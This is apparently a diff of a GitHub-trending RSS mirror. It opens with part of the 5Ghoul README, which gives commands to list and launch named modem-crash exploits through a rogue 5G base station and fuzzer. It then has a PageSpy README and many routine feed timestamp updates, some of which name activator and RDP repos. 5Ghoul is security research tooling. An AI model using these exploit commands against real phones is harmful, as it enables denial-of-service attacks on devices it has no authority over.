<p>You can list the name of all existing <em>5Ghoul</em> exploits by passing the argument <code>--list-exploits</code> as shown below:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --list-exploits
...
Available Exploits:
--> mac_sch_mtk_rrc_setup_crash_3 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_7 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_setup_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_4 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_setup_crash_var Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_2 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mac_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rlc_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_nas_unknown_pdu_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_6 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_mtk_rrc_setup_crash_1 Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
--> mac_sch_rrc_reconfiguration_crash Groups: [mac_sch_:203] [mac_sch_:204] [mac_sch_:205]
</code></pre>
<h2>3.2. Create your own 5G exploit</h2>
<blockquote>
<p>WIP - Documentation on 5G test-case creation to be added soon.</p>
</blockquote>
<h1>4. 🔀 Running the 5G NR Fuzzer</h1>
<p>The <em>5Ghoul</em> fuzzer supports running in CLI mode or graphical interface. To run in graphical interface, simply add the <code>--gui</code> argument when calling the <code>5g_sa</code> binary. You can start the fuzzer as follows:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true # Run fuzzer in command line interface mode (CLI)
</code></pre>
<p>Upon successful connectivity with the smartphone or modem, the 5G fuzzer highlights mutated (fuzzed) downlink PDUs in purple. Concurrently, a live capture of the over-the-air communication between the smartphone (UE) and the rogue base station (gNB performing the fuzzing) is shown to the user. Furthermore, the communication trace and logs are saved to <code>logs/5gnr_gnb</code> .</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/fuzzing-live.gif" alt=""></p>
<p>The tool also has a graphical interface that is mostly used for development and troubleshooting the 5G connection or showcasing attack or fuzzing demos ✌. An example of the <em>5Ghoul</em> GUI is shown below.</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --MCC=001 --MNC=01 --EnableMutation=true --gui # Run with graphical user interface (GUI)
</code></pre>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/fuzzer-gui.png" alt="fuzzer-gui"></p>
<h1>5. 🛠️ (Optional) Build <em>5Ghoul</em> software from source</h1>
<p>Several requirements need to be installed before compiling the project. An automated script for Ubuntu 18.04/20.04 is provided on <code>requirements.sh</code>. To compile from source, simply run the following commands:</p>
<pre><code class="language-bash">git clone https://github.com/asset-group/5ghoul-5g-nr-attacks
cd 5ghoul-5g-nr-attacks
./requirements.sh 5g # Install all system requirements to compile 5ghoul fuzzer, OpenAirInterface and Open5GS
./build.sh all # Compile all binaries + Wireshark. It may take around 20min. Go get a coffe!
./build.sh # (Optional) Compile all binaries without Wireshark.
</code></pre>
<p>The expected output during the build process is shown below:</p>
<p><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/5ghoul-build-output.svg?sanitize=true" alt="5ghoul-build-output"></p>
<h1>6. ⚙️ Advanced Options (WIP)</h1>
<p>You can list all options of 5Ghoul PoC by running it with <code>--help</code> argument as shown below:</p>
<pre><code class="language-bash">sudo bin/5g_fuzzer --help
Fuzzer for 5G NR User Equipment (UE) - MAC-NR, PDCP-NR, RLC-NR, NAS-5GS
Usage:
lte_fuzzer [OPTION...]
-h, --help Print help
--default-config Start with default config
-g, --gui Open Graphical User Interface (GUI)
Fuzzing:
--EnableDuplication
--EnableMutation (default: true)
--EnableOptimization (default: true)
--DefaultDuplicationProbability arg
(default: 0.200000)
--DefaultMutationProbability arg
(default: 0.200000)
--DefaultMutationFieldProbability arg
(default: 0.100000)
--FieldMutationBackoffMultipler arg
(default: 0.500000)
--MaxFieldsMutation arg (default: 2)
--NormalizeProtocolLayersMutation
--MaxDuplicationTimeMS arg
(default: 6000)
--PacketRetry
--PacketRetryTimeoutMS arg
(default: 2500)
--GlobalTimeout (default: true)
--GlobalTimeoutSeconds arg
(default: 45)
--StateLoopDetection
--StateLoopDetectionThreshold arg
(default: 5)
--RandomSeed arg (default: 123456789)
--SeedIncrementEveryIteration
(default: true)
--RestoreSessionOnStartup
--SaveSessionOnExit
--Selector arg (default: 0)
--Mutator arg (default: 1)
Modules:
--exploit arg Launch Exploit
--list-exploits List Available Exploits
--list-exploits-groups List Exploit Groups (Debug)
--list-exploits-prefixes List Exploit Prefixes (Debug)
NR5G:
--MCC arg (default: 001)
--MNC arg (default: 01)
--AutoStartBaseStation (default: true)
--AutoStartCoreNetwork (default: true)
--BaseStationConfigFile arg
(default: n78.106.conf)
--BaseStationArguments arg
(default: --sa --continuous-tx -E)
--CoreNetworkConfigFile arg
(default: open5gs.yaml)
--EnableSimulator
--SimulatorDelayUS arg (default: 2000)
--SimulationConnectionTimeoutMS arg
(default: 1000)
--SimulatorUEArguments arg
(default: -r 106 --numerology 1 --band 78
-E -C 3619200000 --rfsim --sa --ssb 516)
Options:
--DefaultProtocolName arg
(default: proto:mac-nr-framed)
--DefaultProtocolEncapName arg
(default: encap:1)
--SaveProtocolCapture (default: true)
--LiveProtocolCapture
--SaveLogsToFile (default: true)
--SaveLatencyMetrics
--SkipPacketProcessing
--Program arg (default: 1)
--AutoStartProgram (default: true)
--AutoRestartProgram
--LaunchProgramWithGDB
--MainThreadCore arg (default: -1)
--SaveCoreDump
UEModemManager:
--APN arg (default: internet)
--AllowedModes arg (default: 4g|5g)
--PreferredMode arg (default: 5g)
--Bands arg (default: ngran-78)
--DisableFuzzingOnFirstConnection
(default: true)
--AutoConnectModem (default: true)
--ConnectionTimeoutMS arg
(default: 4000)
--UseOnlyATConnections
--AutoConnectToAPN (default: true)
--ManualAPNConnection
--ManualAPNConnectionDelayMS arg
(default: 0)
--AutoReconnectModem (default: true)
--ResetModemOnGlobalTimeout
(default: true)
--GlobalTimeoutsCount arg
(default: 3)
--DefaultModemInterfacePath arg
(default: /dev/cdc-wdm1)
--AutoSearchModemInterfacePath
(default: true)
--UseInUSBIPHostSSH
--EnableADB (default: true)
--ADBDevice arg (default: R5CT720QT7H)
--ADBPIN arg (default: 123123)
</code></pre>
<h1>7. ✉️ Third-Party 5G Software Stacks</h1>
<p><em>5Ghoul PoC & Fuzzer</em> is built upon well known protocols stack implementation. These are used to generate messages and to guide the target device towards a set of protocol procedures which are expected to be tested again unknown or insecure behaviour.</p>
<ul>
<li>Implementation of Network Layers 1-2 <code>5G MAC, RRC, RLC and PDCP</code>:
<ul>
<li>Base Station (gNB) - <a href="https://gitlab.eurecom.fr/oai/openairinterface5g/-/tree/develop">Open Air Interface</a> (Open Source)</li>
</ul> </li>
<li>Implementation of Layer 3 and above <code>NAS, IPV4, etc</code>:
<ul>
<li>5G Core Network - <a href="https://github.com/open5gs/open5gs">Open5GS</a> (Open Source)</li>
</ul> </li>
</ul>
<p align="center"><img src="https://raw.githubusercontent.com/asset-group/5ghoul-5g-nr-attacks/master/docs/figures/protocol-stack-5g.svg?sanitize=true" alt="protocol-stack-5g" style="zoom:150%;"></p>
+ HuolalaTech/page-spy-web
+ 2023-12-13T01:25:56Z
+ tag:github.com,2023-12-13:/HuolalaTech/page-spy-web
+
+ <p>Debug remotely and easily like chrome devtools.</p><hr><div align="center">
<img src="https://raw.githubusercontent.com/HuolalaTech/page-spy-web/main/logo.svg?sanitize=true" height="100">
<h1>Page Spy</h1>
<p><a href="https://github.com/HuolalaTech/page-spy-web/raw/release/package.json"><img src="https://img.shields.io/github/package-json/v/HuolalaTech/page-spy-web/release?label=Release" alt="Release"></a> <a href="https://github.com/HuolalaTech/page-spy-web/raw/main/LICENSE"><img src="https://img.shields.io/github/license/HuolalaTech/page-spy-web?label=License" alt="license"></a> <br> <a href="https://npmjs.com/package/@huolala-tech/page-spy"><img src="https://img.shields.io/npm/v/@huolala-tech/page-spy?label=SDK%20version" alt="NPM SDK"></a> <a href="https://github.com/HuolalaTech/page-spy/actions/workflows/coveralls.yml"><img src="https://img.shields.io/github/actions/workflow/status/HuolalaTech/page-spy/coveralls.yml?logo=github&label=build" alt="Build Status"></a> <a href="https://coveralls.io/github/HuolalaTech/page-spy?branch=main"><img src="https://img.shields.io/coverallsCoverage/github/HuolalaTech/page-spy?label=coverage" alt="Coverage Status"></a> <a href="https://unpkg.com/browse/@huolala-tech/page-spy/dist/index.min.js"><img src="https://img.shields.io/bundlephobia/min/@huolala-tech/page-spy?label=minfied%20size" alt="SDK size"></a> <br> <a href="https://github.com/HuolalaTech/page-spy-api/tags"><img src="https://img.shields.io/github/v/tag/HuolalaTech/page-spy-api?label=API%20version" alt="API Version"></a> <a href="https://github.com/HuolalaTech/page-spy-api/raw/master/go.mod"><img src="https://img.shields.io/github/go-mod/go-version/HuolalaTech/page-spy-api?label=go" alt="Go Version"></a></p>
<p><a href="https://raw.githubusercontent.com/HuolalaTech/page-spy-web/main/README_EN.md">English</a> | 中文</p>
</div>
<h2>介绍</h2>
<p><strong>PageSpy</strong> 是一款用来调试远程 Web 项目的工具。</p>
<p>基于对原生 API 的封装,它将调用原生方法时的参数进行过滤、转化,整理成格式规范的消息供调试端消费;调试端收到消息数据,提供类控制台可交互式的功能界面将数据呈现出来。</p>
<p><img src="https://raw.githubusercontent.com/HuolalaTech/page-spy-web/main/.github/assets/dashboard.png" alt="主页"></p>
<h2>何时使用?</h2>
<p><u>任何无法在本地使用控制台调试的场景,都是 <strong>PageSpy</strong> 可以大显身手的时候!</u>一起来看下面的例子:</p>
<ul>
<li>本地调试 H5、Webview 应用:以往有些产品提供了可以在 H5 上查看信息的面板,但移动端屏幕太小操作不便、显示不友好,以及信息被截断等问题;</li>
<li>远程办公、跨地区协同:传统沟通方式如邮件、电话、视频会议等,沟通效率不高、故障信息不全面,容易误解误判;</li>
<li>用户终端上出现白屏问题:传统定位问题的方式包括数据监控、日志分析等,这些方式依赖排障人员要理解业务需求场景、技术实现;</li>
</ul>
<p>此类问题的共同点是开发者无法像使用控制台一样查看运行信息。</p>
<p>对此 PageSpy 提供项目运行现场供技术人员在调试端查看,在远程协同场景中,测试人员不用再频繁的通过文字、截图、语音、录屏等方式向技术人员提供故障信息。</p>
<h2>如何使用?</h2>
<p>为了数据安全和方便您的使用,我们提供完整的、开箱即用的多种部署方案,各位开发者可以根据自己的情况选择任意一种部署方式。</p>
<h3>第一种:使用 Docker 部署</h3>
<blockquote>
<p>视频教程:<a href="https://www.bilibili.com/video/BV1Ph4y1y78R">使用 Docker 部署 PageSpy</a></p>
</blockquote>
<pre><code class="language-bash">$ docker run -d --restart=always -p 6752:6752 --name="pageSpy" ghcr.io/huolalatech/page-spy-web:release
</code></pre>
<p>启动完成后浏览器访问 <code><host>:6752</code>,页面顶部会出现 <code>接入 SDK</code> 菜单,点击菜单查看如何在业务项目中配置并集成。</p>
<h3>第二种:使用 Node 部署</h3>
<blockquote>
<p>视频教程:<a href="https://www.bilibili.com/video/BV1oM4y1p7Le/?spm_id_from=333.788.recommend_more_video.1&vd_source=6b4fed1a463f67c0e8e56eaa21faa997">使用 Node 部署 PageSpy</a></p>
</blockquote>
<pre><code class="language-bash">$ yarn global add @huolala-tech/page-spy-api
# 如果你使用 npm
$ npm install -g @huolala-tech/page-spy-api
</code></pre>
<p>安装完成之后你可以在命令行中直接执行 <code>page-spy-api</code> 启动服务。部署完成后浏览器访问 <code><host>:6752</code>,页面顶部会出现 <code>接入 SDK</code> 菜单,点击菜单查看如何在业务项目中配置并集成。</p>
<h2>技术支持</h2>
<p>有问题可以使用微信扫码进群。</p>
<div style="display: flex; gap: 12px; flex-wrap: nowrap; overflow: auto">
<img src="https://public-assets-v.huolala.cn/images/page-spy-wechat-group.jpg" alt="微信群" width="260">
<img src="https://raw.githubusercontent.com/HuolalaTech/page-spy-web/main/.github/assets/group-1.jpg" alt="微信群" width="260">
</div>
<h2>Roadmap</h2>
<p>点击查看 <a href="https://github.com/orgs/HuolalaTech/projects/1">Roadmap</a>。</p>
<h2>如何贡献代码?</h2>
<p>点击查看 <a href="https://raw.githubusercontent.com/HuolalaTech/page-spy-web/main/CONTRIBUTING.md">Contributing</a>。</p>
<h2>FAQ</h2>
<p>点击查看 <a href="https://github.com/HuolalaTech/page-spy-web/wiki/%F0%9F%90%9E-%E5%B8%B8%E8%A7%81%E9%97%AE%E9%A2%98%E8%A7%A3%E7%AD%94">常见问题解答</a>。</p>
\ No newline at end of file
diff --git a/alloy/daily/index.xml b/alloy/daily/index.xml
index 09c47e75e6a..fee4f515a68 100644
--- a/alloy/daily/index.xml
+++ b/alloy/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Alloy Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:49Z
+ 2023-12-13T01:26:27Z
Daily Trending of Alloy in GitHub
\ No newline at end of file
diff --git a/alpine-abuild/daily/index.xml b/alpine-abuild/daily/index.xml
index 3692d2817c2..b446782e3b2 100644
--- a/alpine-abuild/daily/index.xml
+++ b/alpine-abuild/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Alpine Abuild Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:50Z
+ 2023-12-13T01:26:29Z
Daily Trending of Alpine Abuild in GitHub
\ No newline at end of file
diff --git a/altium-designer/daily/index.xml b/altium-designer/daily/index.xml
index 4f36478f9de..f7e24295cd5 100644
--- a/altium-designer/daily/index.xml
+++ b/altium-designer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Altium Designer Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:48Z
+ 2023-12-13T01:26:30Z
Daily Trending of Altium Designer in GitHub
\ No newline at end of file
diff --git a/ampl/daily/index.xml b/ampl/daily/index.xml
index f22bad340a8..e4f5e250100 100644
--- a/ampl/daily/index.xml
+++ b/ampl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AMPL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:54Z
+ 2023-12-13T01:26:31Z
Daily Trending of AMPL in GitHub
\ No newline at end of file
diff --git a/angelscript/daily/index.xml b/angelscript/daily/index.xml
index 882e7e0b3bd..8942b095198 100644
--- a/angelscript/daily/index.xml
+++ b/angelscript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AngelScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:52Z
+ 2023-12-13T01:26:33Z
Daily Trending of AngelScript in GitHub
\ No newline at end of file
diff --git a/ant-build-system/daily/index.xml b/ant-build-system/daily/index.xml
index 94909eb0411..09671dacd49 100644
--- a/ant-build-system/daily/index.xml
+++ b/ant-build-system/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ant Build System Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:53Z
+ 2023-12-13T01:26:32Z
Daily Trending of Ant Build System in GitHub
\ No newline at end of file
diff --git a/antlr/daily/index.xml b/antlr/daily/index.xml
index 5ab6c02616a..16afd54987f 100644
--- a/antlr/daily/index.xml
+++ b/antlr/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ANTLR Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:57Z
+ 2023-12-13T01:26:35Z
Daily Trending of ANTLR in GitHub
\ No newline at end of file
diff --git a/apacheconf/daily/index.xml b/apacheconf/daily/index.xml
index 6c2811da327..7be49bcfcba 100644
--- a/apacheconf/daily/index.xml
+++ b/apacheconf/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ApacheConf Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:56Z
+ 2023-12-13T01:26:36Z
Daily Trending of ApacheConf in GitHub
\ No newline at end of file
diff --git a/apex/daily/index.xml b/apex/daily/index.xml
index 8c45a29e8e1..284dbc626f2 100644
--- a/apex/daily/index.xml
+++ b/apex/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Apex Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:59Z
+ 2023-12-13T01:26:37Z
Daily Trending of Apex in GitHub
+
+ jamessimone/apex-rollup
+ 2023-12-13T01:26:37Z
+ tag:github.com,2023-12-13:/jamessimone/apex-rollup
+
+ <p>Fast, configurable, elastically scaling custom rollup solution. Apex Invocable action, one-liner Apex trigger/CMDT-driven logic, and scheduled Apex-ready.</p><hr>
+
\ No newline at end of file
diff --git a/api-blueprint/daily/index.xml b/api-blueprint/daily/index.xml
index 9139684b40d..d35d632ee0e 100644
--- a/api-blueprint/daily/index.xml
+++ b/api-blueprint/daily/index.xml
@@ -1,7 +1,7 @@
GitHub API Blueprint Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:43:55Z
+ 2023-12-13T01:26:34Z
Daily Trending of API Blueprint in GitHub
\ No newline at end of file
diff --git a/apl/daily/index.xml b/apl/daily/index.xml
index 6dbdf2f661d..98c047920f5 100644
--- a/apl/daily/index.xml
+++ b/apl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub APL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:01Z
+ 2023-12-13T01:26:40Z
Daily Trending of APL in GitHub
\ No newline at end of file
diff --git a/apollo-guidance-computer/daily/index.xml b/apollo-guidance-computer/daily/index.xml
index f75b8c6671b..cb3f57a9f62 100644
--- a/apollo-guidance-computer/daily/index.xml
+++ b/apollo-guidance-computer/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Apollo Guidance Computer Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:03Z
+ 2023-12-13T01:26:39Z
Daily Trending of Apollo Guidance Computer in GitHub
\ No newline at end of file
diff --git a/applescript/daily/index.xml b/applescript/daily/index.xml
index 4b787017e83..719220a7d85 100644
--- a/applescript/daily/index.xml
+++ b/applescript/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AppleScript Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:02Z
+ 2023-12-13T01:26:38Z
Daily Trending of AppleScript in GitHub
\ No newline at end of file
diff --git a/arc/daily/index.xml b/arc/daily/index.xml
index ac6e6a6d89f..9bdc22de682 100644
--- a/arc/daily/index.xml
+++ b/arc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Arc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:04Z
+ 2023-12-13T01:26:41Z
Daily Trending of Arc in GitHub
\ No newline at end of file
diff --git a/asciidoc/daily/index.xml b/asciidoc/daily/index.xml
index 1536ad91335..ff11aea5e29 100644
--- a/asciidoc/daily/index.xml
+++ b/asciidoc/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AsciiDoc Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:06Z
+ 2023-12-13T01:26:44Z
Daily Trending of AsciiDoc in GitHub
\ No newline at end of file
diff --git a/asl/daily/index.xml b/asl/daily/index.xml
index fa2aa0d65e0..333b4973242 100644
--- a/asl/daily/index.xml
+++ b/asl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:08Z
+ 2023-12-13T01:26:42Z
Daily Trending of ASL in GitHub
\ No newline at end of file
diff --git a/asn.1/daily/index.xml b/asn.1/daily/index.xml
index e92ce4ad1a2..6eb2516c0a0 100644
--- a/asn.1/daily/index.xml
+++ b/asn.1/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASN.1 Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:06Z
+ 2023-12-13T01:26:44Z
Daily Trending of ASN.1 in GitHub
\ No newline at end of file
diff --git a/asp.net/daily/index.xml b/asp.net/daily/index.xml
index d46881414a8..b50f1691043 100644
--- a/asp.net/daily/index.xml
+++ b/asp.net/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ASP.NET Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:09Z
+ 2023-12-13T01:26:46Z
Daily Trending of ASP.NET in GitHub
\ No newline at end of file
diff --git a/aspectj/daily/index.xml b/aspectj/daily/index.xml
index f6911243fa7..fbc43189bd3 100644
--- a/aspectj/daily/index.xml
+++ b/aspectj/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AspectJ Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:09Z
+ 2023-12-13T01:26:45Z
Daily Trending of AspectJ in GitHub
\ No newline at end of file
diff --git a/assembly/daily/index.xml b/assembly/daily/index.xml
index 7578eaf4047..f82dd82f157 100644
--- a/assembly/daily/index.xml
+++ b/assembly/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Assembly Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:15Z
+ 2023-12-13T01:26:50Z
Daily Trending of Assembly in GitHub
+
+ bluewaysw/pcgeos
+ 2023-12-13T01:26:50Z
+ tag:github.com,2023-12-13:/bluewaysw/pcgeos
+
+ <p>#FreeGEOS source codes. The offical home of the PC/GEOS operating system technology. For personal computing fans. For all developers and assembly lovers. For YOU!</p><hr>
+
\ No newline at end of file
diff --git a/astro/daily/index.xml b/astro/daily/index.xml
index de3b533e0f3..f41ba244302 100644
--- a/astro/daily/index.xml
+++ b/astro/daily/index.xml
@@ -1,14 +1,14 @@
GitHub Astro Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:11Z
+ 2023-12-13T01:26:48Z
Daily Trending of Astro in GitHub
- tags-dev/ui
- 2023-12-12T01:44:11Z
- tag:github.com,2023-12-12:/tags-dev/ui
-
- <p>Ui Interfaces for Lynx commerce</p><hr>
+ alexwhitmore/astro-dashboard
+ 2023-12-13T01:26:48Z
+ tag:github.com,2023-12-13:/alexwhitmore/astro-dashboard
+
+ <p>An Astro dashboard theme using Tailwind, Supabase, and React.</p><hr>
\ No newline at end of file
diff --git a/asymptote/daily/index.xml b/asymptote/daily/index.xml
index f30a6332dd1..358d8c0d62c 100644
--- a/asymptote/daily/index.xml
+++ b/asymptote/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Asymptote Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:16Z
+ 2023-12-13T01:26:54Z
Daily Trending of Asymptote in GitHub
\ No newline at end of file
diff --git a/ats/daily/index.xml b/ats/daily/index.xml
index 8843acf04c7..71823820850 100644
--- a/ats/daily/index.xml
+++ b/ats/daily/index.xml
@@ -1,7 +1,7 @@
GitHub ATS Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:20Z
+ 2023-12-13T01:26:51Z
Daily Trending of ATS in GitHub
\ No newline at end of file
diff --git a/augeas/daily/index.xml b/augeas/daily/index.xml
index 30caf43a0ef..98890f5b0e9 100644
--- a/augeas/daily/index.xml
+++ b/augeas/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Augeas Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:17Z
+ 2023-12-13T01:26:52Z
Daily Trending of Augeas in GitHub
\ No newline at end of file
diff --git a/autohotkey/daily/index.xml b/autohotkey/daily/index.xml
index 11fdf9a2f64..d571ecc66af 100644
--- a/autohotkey/daily/index.xml
+++ b/autohotkey/daily/index.xml
@@ -1,7 +1,7 @@
GitHub AutoHotkey Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:21Z
+ 2023-12-13T01:26:53Z
Daily Trending of AutoHotkey in GitHub
\ No newline at end of file
diff --git a/autoit/daily/index.xml b/autoit/daily/index.xml
index c9b4a1abf00..142bc5a5f1c 100644
--- a/autoit/daily/index.xml
+++ b/autoit/daily/index.xml
@@ -1,7 +1,14 @@
GitHub AutoIt Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:26Z
+ 2023-12-13T01:26:58Z
Daily Trending of AutoIt in GitHub
+
+ vboxme/Portable-VirtualBox
+ 2023-12-13T01:26:58Z
+ tag:github.com,2023-12-13:/vboxme/Portable-VirtualBox
+
+ <p>Portable-VirtualBox is a free and open source software tool that lets you run any operating system from a usb stick without separate installation.</p><hr>
+
\ No newline at end of file
diff --git a/avro-idl/daily/index.xml b/avro-idl/daily/index.xml
index 3c4a9b82f56..ae0a7fe49c2 100644
--- a/avro-idl/daily/index.xml
+++ b/avro-idl/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Avro IDL Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:23Z
+ 2023-12-13T01:26:57Z
Daily Trending of Avro IDL in GitHub
\ No newline at end of file
diff --git a/awk/daily/index.xml b/awk/daily/index.xml
index fc35ee22656..e941ecfbbc8 100644
--- a/awk/daily/index.xml
+++ b/awk/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Awk Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:23Z
+ 2023-12-13T01:26:55Z
Daily Trending of Awk in GitHub
\ No newline at end of file
diff --git a/ballerina/daily/index.xml b/ballerina/daily/index.xml
index 34d093a23ae..b59b59254a7 100644
--- a/ballerina/daily/index.xml
+++ b/ballerina/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Ballerina Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:24Z
+ 2023-12-13T01:26:56Z
Daily Trending of Ballerina in GitHub
\ No newline at end of file
diff --git a/basic/daily/index.xml b/basic/daily/index.xml
index b1e35fd1a26..d649a455683 100644
--- a/basic/daily/index.xml
+++ b/basic/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BASIC Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:29Z
+ 2023-12-13T01:26:59Z
Daily Trending of BASIC in GitHub
\ No newline at end of file
diff --git a/batchfile/daily/index.xml b/batchfile/daily/index.xml
index dfd20e939bb..50b3795642d 100644
--- a/batchfile/daily/index.xml
+++ b/batchfile/daily/index.xml
@@ -1,7 +1,28 @@
GitHub Batchfile Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:32Z
+ 2023-12-13T01:27:03Z
Daily Trending of Batchfile in GitHub
+
+ hamadnoeranandam/AWS_RDP
+ 2023-12-13T01:27:03Z
+ tag:github.com,2023-12-13:/hamadnoeranandam/AWS_RDP
+
+ <p></p><hr>
+
+
+ vishnu1001/office-2021
+ 2023-12-13T01:27:03Z
+ tag:github.com,2023-12-13:/vishnu1001/office-2021
+
+ <p>Microsoft Office 2021 Activator 🤫</p><hr>
+
+
+ aprijal-master/RDP
+ 2023-12-13T01:27:03Z
+ tag:github.com,2023-12-13:/aprijal-master/RDP
+
+ <p></p><hr>
+
\ No newline at end of file
diff --git a/beef/daily/index.xml b/beef/daily/index.xml
index e8f5c8dd1dd..9a1b335fa68 100644
--- a/beef/daily/index.xml
+++ b/beef/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Beef Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:27Z
+ 2023-12-13T01:26:59Z
Daily Trending of Beef in GitHub
\ No newline at end of file
diff --git a/befunge/daily/index.xml b/befunge/daily/index.xml
index 4f731f89605..40f5717747b 100644
--- a/befunge/daily/index.xml
+++ b/befunge/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Befunge Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:28Z
+ 2023-12-13T01:27:00Z
Daily Trending of Befunge in GitHub
\ No newline at end of file
diff --git a/berry/daily/index.xml b/berry/daily/index.xml
index 363e02fab03..3f5f5882d7b 100644
--- a/berry/daily/index.xml
+++ b/berry/daily/index.xml
@@ -1,7 +1,7 @@
GitHub Berry Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:33Z
+ 2023-12-13T01:27:06Z
Daily Trending of Berry in GitHub
\ No newline at end of file
diff --git a/bibtex/daily/index.xml b/bibtex/daily/index.xml
index edee3b34fe8..6089c459238 100644
--- a/bibtex/daily/index.xml
+++ b/bibtex/daily/index.xml
@@ -1,7 +1,7 @@
GitHub BibTeX Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:34Z
+ 2023-12-13T01:27:04Z
Daily Trending of BibTeX in GitHub
\ No newline at end of file
diff --git a/bicep/daily/index.xml b/bicep/daily/index.xml
index 72afbaa76fc..bc81e721a08 100644
--- a/bicep/daily/index.xml
+++ b/bicep/daily/index.xml
@@ -1,7 +1,14 @@
GitHub Bicep Daily Trending
http://mshibanami.github.io/GitHubTrendingRSS
- 2023-12-12T01:44:35Z
+ 2023-12-13T01:27:08Z
Daily Trending of Bicep in GitHub
+
+ gabrieldeolaguibel/DevOps-Banking-Infrastructure
+ 2023-12-13T01:27:08Z
